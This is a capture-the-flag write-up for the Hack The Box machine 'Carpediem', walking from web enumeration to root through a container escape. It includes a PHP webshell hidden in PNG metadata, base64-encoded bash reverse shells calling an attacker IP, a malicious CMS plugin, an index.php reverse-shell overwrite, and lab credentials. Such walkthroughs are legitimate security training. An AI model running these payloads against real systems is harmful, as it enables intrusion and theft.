Carpediem

Summary

This is a hard box with many steps, but each step is relatively simple.

Nmap finds SSH and an Nginx web server on port 80. The web server is just a countdown page so we scan for virtual hosts and find portal.carpediem.htb, which is a motorcycle store. We find LFI and SQLi attacks, but neither give us any useful information. There is also an admin page at /admin. We create an account and notice a strange parameter in the POST request that is sent when we edit our profile. Changing that parameter and then going to /admin gives us access to the admin portal. We can upload a profile picture, so we create a legitimate PNG image and then embed PHP code in the metadata of the image. This gives a reverse shell into a Docker container.

Inside the Docker container's web server files, we find credentials for the database that we could access before through SQLi. We also find an api key and a username for a service called Trudesk at trudesk.carpediem.htb. Using the API and searching for vulnerabilities reveals nothing yet. Using LinPEAS, we find some other devices on the network, which are probably other Docker containers. So, we upload a static nmap binary and scan the local Docker network. Using chisel, we forward the port for each service to determine what they are. We find a Backdrop CMS instance and a MongoDB server. The MongoDB server is unprotected and contains the Trudesk database. So, we look at the users collection and grab a different API key.

Using that API key we can view the tickets in Trudesk, which give us instructions and credentials for Zoiper, a softphone to make VoIP calls. We sign in as a user and hear their voicemail, which contains their SSH password. On the box, we get the user.txt flag. LinPEAS alerts us that /usr/sbin/tcpdump can sniff all network traffic due to the capabilities it has. We capture traffic on the docker0 network and find an SSL key at /etc/ssl/certs/backdrop.carpediem.htb.key. We decrypt the data in Wireshark with the SSL key, revealing a POST request with a username and password for the Backdrop CMS we found earlier.

We port forward and sign into Backdrop CMS. We are able to upload a malicious plugin and gain code execution, which gives us a reverse shell. We are in yet another Docker container as the www-data user. We notice that there is a script that runs as root every 10 seconds to make sure that the CMS is still running. The script will load the index page so we replace index.php with a reverse shell and get root on the container. We realize that we are running in a privileged container, so we abuse linux cgroups to give /bin/bash the SUID bit on the host. Then, we simply run bash -p on the host and get the root.txt flag.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.167 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.167.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
|   256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_  256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nginx (Port 80)

We see a reference to Carpediem.htb, so let's add that domain to /etc/hosts: echo "10.10.11.167 carpediem.htb" | sudo tee -a /etc/hosts. It brings us to the same website.

Bruteforcing for directories on carpediem.htb port 80 via ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://carpediem.htb/FUZZ:

Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://carpediem.htb/ -H "Host: FUZZ.carpediem.htb" -fs 2875:

Let's add the newly discovered portal virtual host to /etc/hosts: echo "10.10.11.167 portal.carpediem.htb" | sudo tee -a /etc/hosts. It brings us to the same website.

portal.carpediem.htb

Let's scan for directories with ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://portal.carpediem.htb/FUZZ:

There is an uploads directory that we cannot access (Forbidden). The admin page redirects to http://portal.carpediem.htb/admin/login.php and has a login form:

Trying a few common logins (admin:admin, etc.) doesn't work. We look at the login request in Firefox developer tools and run sqlmap with sqlmap -u http://portal.carpediem.htb/classes/Login.php\?f\=login --data username=a\&password=a --random-agent --batch --level 3 --risk 2, which finds no injections. Navigating directly to http://portal.carpediem.htb/classes/Login.php just says "Access Denied," so it's probably not worth bruteforcing files in the classes/ directory.

The main portal.carpediem.htb site has a few features: it lists motorcycles we can rent, we can search for different bikes, and we can login to or create an account. In order to book a bike, you need to be logged in.

We can try some LFI on the p (page) parameter with ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://portal.carpediem.htb/\?p\=FUZZ -fs 17882. For instance, going to http://portal.carpediem.htb/?p=../../../../../../../../../../etc/passwd%00 shows this:

Eventually (after finding the right number of ../), we can figure out that http://portal.carpediem.htb/?p=../../../../var/www/html/portal/about is the same thing as http://portal.carpediem.htb/?p=about.

Additionally, we try SQL injection on the view_bike page: sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch:

We append --tables to the sqlmap command and find this:

We can them dump the users table with sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch -D portal -T users --dump:

The table above is the formatted correctly, but b723e511b084ab84b44235d82da572f3 is probably the admin's password hash. sqlmap's built-in password hash cracking can't crack it and neither can CrackStation.

Let's create an account:

We can now book a bike and it will show up on our account page at http://portal.carpediem.htb/?p=my_account:

Clicking on "Manage Account" in the top right let's us edit our registration details.

Clicking "Update" logs this request in burpsuite:

There is a strange login_type=2 parameter that was not part of the form. Let's set that to 1 instead and maybe we can elevate our privileges to an admin. After forwarding the request in burpsuite, we go to http://portal.carpediem.htb/admin and it loads successfully!

There are a few places we can upload files. However, The "Quarterly Report Upload" seems like a good spot since it says "NOTE: Upload functions still in development!" However, there doesn't appear to be any functionality to actually upload files on that page.

Foothold

Reverse Shell

If we go to our name in the top right and click "My Account" (http://portal.carpediem.htb/admin/?page=user), we get the ability to upload a profile picture:

Side note: Around this time I got logged out. Our login amy:amy doesn't work on http://portal.carpediem.htb/admin/login.php even though we are an admin. We still need to sign in on http://portal.carpediem.htb/ and then go to the admin page.

Generate a random PNG with mx=256;my=256;head -c "$((3*mx*my))" /dev/urandom | convert -depth 8 -size "${mx}x${my}" RGB:- random.png (command from this StackExchange answer). Then, use exiftool to embed some PHP code in the comment field: exiftool -Comment="<?php echo 'Command:'; if(\$_POST){system(\$_POST['cmd']);} __halt_compiler();" random.png (based on command from HackTricks). We can rename our image to random.png.php so the server will be able to execute our php code.

Uploading our new image works successfully! Now, just right click and open the image in a new tab. The URL will be something like http://portal.carpediem.htb/uploads/1659209820_random.png.php. Now, just use curl to post commands to the cmd parameter:

Now, let's get a reverse shell. Our reverse shell will be a standard bash reverse shell: bash -i >& /dev/tcp/10.10.14.98/61991 0>&1. Let's encode that in base64 by running echo -n "bash -i >& /dev/tcp/10.10.14.98/61991 0>&1" | base64, which gives us YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx. So, our payload should be echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx | base64 -d | bash. Let's url encode that to echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Start a listener with pwncat-cs -lp 61991 and then run the reverse shell with curl -X POST --data "cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash" http://portal.carpediem.htb/uploads/1659210360_random.png.php --output -.

Information Gathering (Foothold)

We are in a docker container due to the hostname and the presence of .dockerenv at /.

The Docker Breakout / Privilege Escalation page on HackTricks mentions a great tool called CDK for breaking out of Docker containers. We download the program from GitHub, upload it using pwntools by running upload Downloads/cdk_linux_amd64 in the local shell, and then run a full scan with ./cdk_linux_amd64 eva --full. This doesn't find anything useful.

We can look in the directory for the portal site and see if we find anything interesting.

We get a username, dev_oretnom, and another password hash, 5da283a2d990e8d8512cf967df5bc0d0, which CrackStation cannot crack. But, we do get credentials for the database: portaldb:J5tnqsXpyzkK4XNt. These probably are not helpful because we were already able to enumerate the database with sqlmap thanks to a SQL injection.

We can quickly scan the other files for passwords with grep -B 2 -A 2 -rni password --include "*.php":

Trudesk Initial Findings

The api key and username in classes/Trudesk.php seem interesting:

We have a new virtual host. Let's add it to /etc/hosts: echo "10.10.11.167 trudesk.carpediem.htb" | sudo tee -a /etc/hosts. We get a login page that displays that we have version 1.1.11:

Trudesk "is an open-source help desk/ticketing solution." Searching for "trudesk 1.1.11 exploit" finds CVE-2022-2023 and the bug bounty report. However, this exploit seems to require us to have a non-privileged login, which we do not.

We have an API key so we can try searching for tickets according to the Trudesk API docs:

We also explore other elements of the Trudesk API but find nothing.

LinPEAS

Upload linPEAS and run with ./linpeas.sh -a 2>&1 | tee linpeas_report_docker.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report_docker.txt with less -R linpeas_report_docker.txt.

There is some sensitive information in the environment variables:

There is a MySQL server at 172.17.0.4:3306 with a root password of 3dQXeqjMHnq4kqDv. From /var/www/html/portal/initialize.php we saw that the site was connecting to the address mysql, which Docker resolves automatically if that is the name of a container. We can resolve it ourselves with getent hosts mysql:

So, mysql is 172.17.0.4. So, now we have two passwords to the database at 172.17.0.4:3306.

Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with chisel (helpful guide). Run ./chisel server -p 12350 --reverse on your attacker machine and then run ./chisel client 10.10.14.98:12350 R:3306:172.17.0.4:3306 on the target. You can upload chisel easily with pwncat by running upload tools/chisel in the local shell of pwncat.

We can then run sqlmap -d mysql://root:3dQXeqjMHnq4kqDv@localhost:3306/ --dbs to dump the list of databases:

Sure enough, this is the same database we exploted with SQLi before. So, nothing new to see here.

Anyway, LinPEAS also finds some other devices on the network, which are probably other Docker containers:

Nmap

Let's use nmap to scan these machines. I uploaded this standalone nmap binary (it's an old version, but it should be fine) to the machine:

Forwarding 172.17.0.6:8118 with ./chisel client 10.10.14.98:12350 R:8118:172.17.0.6:8118 reveals that 172.17.0.6:8118 is Trudesk. We check the other http services the same way. 172.17.0.1:80 is the countdown website we saw initially, which makes sense since 172.17.0.1 is the host. 172.17.0.2:80 shows the "Apache2 Ubuntu Default Page." 172.17.0.2:443 appears to be an instance of Backdrop CMS:

Searching for "backdrop cms exploit" doesn't immediately find anything promising.

There is also FTP on 172.17.0.2, which is interesting. Forwarding that port and attempt anonymous login doesn't work.

MongoDB

Port 27017 is the default MongoDB port. We port forward 172.17.0.3:27017. Then, just run the mongo command on the attacker machine and it will automatically connect to the correct database since it is on localhost now.

(Note: This part is very similar to the Talkative machine. This machine and Talkative share an author.)

We can view the databases and switch to the trudesk database:

We can view the collections in this database with show collections:

Let's view the accounts collection:

Trudesk to Zoiper

We now have some additional accessTokens that might be able to read some tickets via the Trudesk API (before we just had svc-portal-tickets's API key). I used Robert Frost's key like so:

The output is available in trudesk_api_ticket_search.json. We could have changed a user's password like we did in the Talkative machine writeup, but that would require us to fiure out how passwords are hashed.

We find this conversation:

Zoiper is a "free softphone to make VoIP calls through your PBX or favorite SIP provider." We can download the software by going to the download page, clicking "Linux," clicking "Free," and finally clicking "Debian package." Install it with sudo dpkg -i ~/Downloads/Zoiper5_5.5.13_x86_64.deb. Run it with zoiper5:

Click "Contine as Free User." Then sign in using the credentials we leaked from Trudesk, 9650:2022:

Use the IP address 10.10.11.167 (I tried carpediem.htb but that wouldn't work):

Zoiper will now test some configurations:

Finally, we can dial *62 to check the voicemail:

We are asked for a password. Just use 2022 from before. Press 1 for the new message. The message gives a welcome to Horace by Robert and lists a password character by character: AuRj4pxq9qPk.

The title of the ticket in Trudesk is "New employee on-boarding - Horace Flaccus" and usernames appear to be formatted as first initial last name (ex: Joey Pardella is jpardella) so the username is probably hflaccus.

Running ssh [email protected] and using the password we just got is successful! We can now cat ~/user.txt to get the user.txt flag.

Lateral Movment

Information Gathering (Lateral Movement)

We connect via pwncat instead to make uploading files easier: pwncat-cs [email protected]. Then, we run LinPEAS with ./linpeas.sh -a 2>&1 | tee linpeas_report_hflaccus.txt. Download the report with download linepeas_report.txt in the local terminal. You can open linpeas_report_hflaccus.txt with less -R linpeas_report_hflaccus.txt.

There are several other users with a console:

We actually get a red bold with yellow highlight item from LinPEAS (which means that it is most definitly an attack vector) on /usr/sbin/tcpdump:

According to HackTricks, these are the "capabilities needed by tcpdump to allow any user to sniff packets."

Wireshark

So, we are going to sniff the packets on the docker container network docker0 (list network interfaces with ip a) and save them to a packet capture file: tcpdump -i docker0 -w hflaccus_carpediem_docker0.pcap. I let this run for just over a minute. We are told that 188 packets received by filter. We download the file: hflaccus_carpediem_docker0.pcap. Next, we open it for analysis in Wireshark

In LinPEAS we see the below output:

That is the SSL certificate for backdrop.carpediem.htb, the one CMS site we saw earlier. We download the key: backdrop.carpediem.htb.key. Now, in Wireshark go to Edit > Preferences > Protocols > TLS > RSA keys list. Add the key to the list (don't worry about ip and other columns). Side note: I did this before in the WebNet0 challenge from PicoCTF 2019.

We see a POST request to /?q=user/login on backdrop.carpediem.htb. We right click > Follow > HTTP Stream and we see the following:

backdrop.carpediem.htb

There we go! Now we have credentials for backdrop.carpediem.htb: jpardella:tGPN6AmJDZwYWdhY. We can forward the port back to our attacker machine by running ./chisel server -p 12350 --reverse on the attacker machine and then running ./chisel client 10.10.14.98:12350 R:443:172.17.0.2:443 on the target. Then, we can go to https://localhost/ and sign in:

Navigating to "Reports" and then "Status report" tells us the Backdrop CMS version is 1.21.4.

Searching for "backdrop cms 1.21.4 exploit" finds this page, wihch has patch notes for version 1.21.4 released on Mar 16, 2022 and states "Security release for Backdrop CMS. This release includes several bug fixes, and fixes 1 security vulnerability." It links to SA-BACKDROP-CORE-2022-003, which states "If a Backdrop site is configured to use CKEditor for rich-text editing, an attacker that can create or edit content (even without access to CKEditor themselves) may be able to exploit one or more Cross-Site Scripting (XSS) vulnerabilities. Victims may be people who later edit that content using CKEditor, including site admins with privileged access." So, this exploit is unlikely to be useful to us since it was patched in the version we have and it doesn't get code execution.

Searching for "backdrop rce" finds V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS, which states "The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF protection, it is possible for an attacker to create a plugin with a file that allows execution of commands, host it and, using a forged page, make the site admin upload this plugin just by clicking on a malicious link." This is exactly what we want.

We download reference.tar (linked to from V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS, also available here). We upload the reference.tar file to the manual module installation page:

Then click "INSTALL":

Now, according to the GitHub repo, we go to https://localhost/modules/reference/shell.php?cmd=ls and sure enough we have command execution: LICENSE.txt README.md reference.info reference.install reference.module shell.php tests views.

Now, let's get a reverse shell. Our reverse shell will be a standard bash reverse shell: bash -i >& /dev/tcp/10.10.14.98/51894 0>&1. Let's encode that in base64 by running echo -n "bash -i >& /dev/tcp/10.10.14.98/51894 0>&1" | base64, which gives us YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx. So, our payload should be echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx | base64 -d | bash. Let's url encode that to echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Start a listener with pwncat-cs -lp 51894 and then run the reverse shell by going to https://localhost/modules/reference/shell.php?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC81MTg5NCAwPiYx%20%7C%20base64%20-d%20%7C%20bash. Sure enough, we get a shell!

Docker Escape

We are in another Docker container as user www-data. So, let's upload CDK and run a full scan with ./cdk_linux_amd64 eva --full. This doesn't find anything useful. Next, we run pspy to look for processes that are ran frequently:

Let's look at the /opt/heartbeat.sh script:

So, we cannot edit /var/www/html/backdrop/core/scripts/backdrop.sh because if the MD5 hash doesn't match then the script won't run. However, looking at the backdrop.sh script we notice that its final parameter has this description:

The URI passed to the backdrop.sh script from the heartbeat.sh script is https://localhost. So, if we replace index.php with a php reverse shell we will get a shell as root on the container.

Start a reverse shell with pwncat-cs -lp 30076. Then run echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.98/30076 0>&1'\");?>" > /var/www/html/backdrop/index.php. This creates a revere shell as root on the container!

Right now we have chisel running as the hflaccus user to forward the Backdrop CMS interface to our attacker machine. On top of that, we have a reverse shell to www-data on the Backdrop CMS Docker container. And on top of that, we have a reverse shell to root on the container via a script that is run on a schedule.

Reupload CDK onto the box as root now. Running it with ./cdk_linux_amd64 eva --full finds: Cap decode: 0x00000000a00425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_AUDIT_WRITE,CAP_SETFCAP.

We can exploit this container and get root on the host machine thanks to CVE-2022-0492. This article is a fantastic description of the issue. HackTricks has a brief discussion on linux capabilities and the Trail of Bits Blog discusses the exploit at a higher level.

First, we run these commands within the container (paste them all at once, do not run one-by-one):

Then, on our SSH connection as the hflaccus user, we simply execute bash -p and get a root shell. Note: This only worked once I exited from the container reverse shell. Finally, run cat /root/root.txt to get the root.txt flag.

After rooting the machine, we find the voicemail we heard as a file in /root: voicemail.wav.

Last updated

Was this helpful?